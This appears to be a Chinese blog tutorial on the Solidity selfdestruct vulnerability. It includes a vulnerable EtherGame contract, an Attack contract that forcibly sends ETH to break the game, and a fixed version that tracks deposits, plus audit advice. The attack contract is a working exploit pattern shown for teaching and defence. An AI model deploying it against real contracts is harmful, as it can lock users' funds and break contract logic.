自毁合约漏洞利用与防范
selfdestruct 可以自毁合约,这个函数有两个功能,一个是自毁合约,还有一个是强制发送主币ETH到任一地址。如果向一个合约发送主币ETH,这个合约没有接受主币ETH的回退函数,是不能发送成功的,而使用 selfdestruct 可以强制发送。
测试自毁合约
下面我们编写两个合约,测试自毁合约的功能,第一个合约名称为 SelfKill,构造函数添加 payable 属性,用于在创建合约时添加币。kill 函数调用了 selfdestruct 自毁合约。testFun 函数随便返回一个值,用于验证合约销毁的效果,如果返回 0 说明合约已经被销毁,数据被清空。withdraw 函数用于测试发送主币ETH,如果接受地址是一个合约,必须要有回退函数,否则发送会失败,但如果使用自毁的特点就可以强制发送,这个是主要的测试点,getBalance 函数很简单,就是返回当前合约的主币ETH数量。具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
pragma solidity ^0.8.7; contract SelfKill{ constructor() payable{} // function kill() external{ selfdestruct(payable(msg.sender)); } function testFun() external pure returns(uint){ return 111; } function withdraw(address _to, uint _value) external{ (bool sent, ) = _to.call{value: _value}(""); //发送币 require(sent, "Failed to send Ether"); } function getBalance() external view returns (uint){ return address(this).balance; } } |
第二个合约用于调用 SelfKill 合约,调用自毁函数和验证接受币是否成功,名称为 Test,去掉 receive 回退函数,代码如下:
1 2 3 4 5 6 7 8 9 10 11 |
contract Test{ //receive() external payable{} 先去掉 receive function getBalance() external view returns (uint){ return address(this).balance; } function TestKill(SelfKill _kill) external{ _kill.kill(); } } |
首先布署 SelfKill 合约,给一个ETH,布署成功后,点击 getBalance 可以看余额有 1 个 ETH,点击 testFun 返回 111。
然后布署 Test 合约,接着执行 SelfKill 合约的 withdraw 填入 Test 合约地址,尝试发送 1 wei 主币,可以看出提示错误,这是因为 Test 函数没有回退函数,如下图所示:
自毁合约可以向任一地址强制发送主币,不管合约代码里有没有回退函数,在 Test 合约的 TestKill 函数里填入 SelfKill 合约的地址,执行操作后,会调用 SelfKill 合约里的 Kill 函数,实现自毁。这时可以发现 SelfKill 自毁后,该合约的所有主币都转入了 Test 函数,并且 SelfKill 函数的数据也是空的,如下图所示:
漏洞利用
通过上面的自毁合约的测试,我们已经了解到 selfdestruct 的作用,接下来测试漏洞的利用,示例代码:https://solidity-by-example.org/hacks/self-destruct。示例代码里有两个合约,第一个合约名称是 EtherGame,它是一个游戏,每个用户每次只可以投 1 个 ETH,谁投到第 7 个谁就是赢家,赢家可以将所有币都取走,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
pragma solidity ^0.8.7; contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } |
第二个函数是攻击合约,名称是 Attack,代码里添加回退函数 receive 用于添加 ETH 测试方便,在 attack 函数里调用了 selfdestruct 将自身合约销毁,并所有主币ETH强制发送给 EtherGame 合约,如果发送的数量大于7,必然会导致 EtherGame 合约判断赢家出现逻辑错误,提示 Game is over。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
contract Attack { receive() external payable{} EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { address payable addr = payable(address(etherGame)); selfdestruct(addr); } } |
防范
上面的漏洞主要原因是使用 address(this).balance 做数量的判断,但这个数量并不一定是 deposit 函数打入的,有可能是其他方式,比如自毁合约这种方式打入,这样就造成的业务逻辑出现错误。为了防止其他方式的干扰,合约开发者应该只对 deposit 里的数量做记录,修t复后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
contract EtherGame { uint public targetAmount = 7 ether; uint public balance; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); balance += msg.value; //只记录 deposit 的充值记录 require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Failed to send Ether"); } } |
在做合约计审时,要多注意观察 address(this).balance 的数量会不会影响业务逻辑,如果有影响的话,很有可能合约存在被攻击者强制打入币,造成正常业务逻辑错误。
转载请注明:exchen's blog » 自毁合约漏洞利用与防范